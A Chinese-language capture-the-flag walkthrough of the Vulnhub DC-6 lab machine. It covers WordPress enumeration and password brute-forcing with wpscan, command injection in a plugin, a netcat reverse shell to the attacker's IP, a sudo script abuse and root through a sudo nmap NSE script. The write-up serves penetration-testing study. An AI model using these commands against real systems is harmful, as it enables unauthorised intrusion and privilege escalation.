Vulnhub-DC-6渗透学习
一、环境搭建
攻击机:Kali-2021.3:192.168.11.132
靶机:Vulnhub-DC-6:192.168.11.140
二、信息收集
主机探活
1 | nmap -sP 192.168.11.0/24 |
扫描目标端口
1 | nmap -A -p- 192.168.11.140 |
发现开启了80端口,同时发现CMS是WordPress
先尝试访问,发现会自动跳转到域名wordy
因此修改一下hosts文件,加入内容:192.168.11.140 wordy
保存即可,再次访问即可访问成功
既然已经知道CMS是WordPress了,那就直接用wpscan开始扫描
列举用户名
1 | wpscan --url http://wordy/ --enumerate u |
成功找到五个用户
将五个用户名存入txt
1 | echo -e "admin \njens \ngraham \nmark \nsarah" > users.txt |
在DC-6的官网中有个提示
因此这个很有可能就是我们需要的密码
进入目录,发现还未解压,那么就解压一下
参考解压方式:
*.tar
用tar –xvf
解压*.gz
用gzip -d
或者gunzip
解压*.tar.gz
和*.tgz
用tar –xzf
解压*.bz2
用bzip2 -d
或者用bunzip2
解压*.tar.bz2
用tar –xjf
解压*.Z
用uncompress
解压*.tar.Z
用tar –xZf
解压*.rar
用unrar e
解压*.zip
用unzip
解压*.xz
用xz -d
解压*.tar.xz
用tar -zJf
解压
1 | gzip -d rockyou.txt.gz > rockyou.txt |
然后根据提示将这个密码中关于"k01"部分的密码复制出来
1 | cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt |
三、实战
漏洞利用
通过信息收集我们得到了用户名和密码,那么就能通过wpscan
尝试暴力破解
1 | wpscan --url http://wordy/ -U users.txt -P passwords.txt |
得到账号密码:
mark / helpdesk01
然后用dirsearch
找一下后台登录入口
1 | python3 dirsearch.py -u http://192.168.11.140 |
登录mark的账号
寻找一下有没有利用点
然后在Activity monitor → Tools
的"Lookup"
里发现有命令执行漏洞
反弹shell
那接下来就反弹一下shell吧,因为在网页里命令的长度受到了限制,因此我们可以用burp抓个包,然后写入命令
开启监听:
1 | nc -lvp 2222 |
反弹shell:
1 | nc -e /bin/bash 192.168.11.132 2222 |
最后再用python换成交互shell
1 | python -c 'import pty;pty.spawn("/bin/bash")' |
提权
尝试能不能suid
提权,但并没有好的利用点
1 | find / -perm -4000 -print 2>/dev/null |
尝试免密使用的root命令,但需要密码,并不行
1 | sudo -l |
那么就找找信息吧,进入到home
目录,发现在mark → stuff
里有另一个用户graham
的密码
graham / GSo7isUM1D4
切换用户
1 | su graham |
再次尝试suid提权,但和上一个用户一样没什么可用的
查看免密使用的root权限命令,发现存在一个可以通过jens
的身份去使用的备份文件
那么接下来的思路就是在这个备份文件中写入/bin/bash
然后以jens
运行这个sh
文件即可得到目标shell
写入/bin/bash
1 | echo "/bin/bash" >> backups.sh |
以jens身份运行得到shell
1 | sudo -u jens ./backups.sh |
成功得到jens用户的shell
叒尝试suid提权,一样没有利用点
查看免密使用的root权限命令,似乎有机会
查看一下nmap
提权,分两种情况
-
SUID,那就直接提权
1
nmap --interactive
-
只有单个用户被分配有root权限
1
2echo "os.execute('/bin/bash')" > shell.nse
sudo nmap --script=shell.nseos.execute
和C语言中的system()
命令是一样的--script
是指出nmap所要执行的脚本文件
在我们这里很明显是第二种情况
提权成功,拿到flag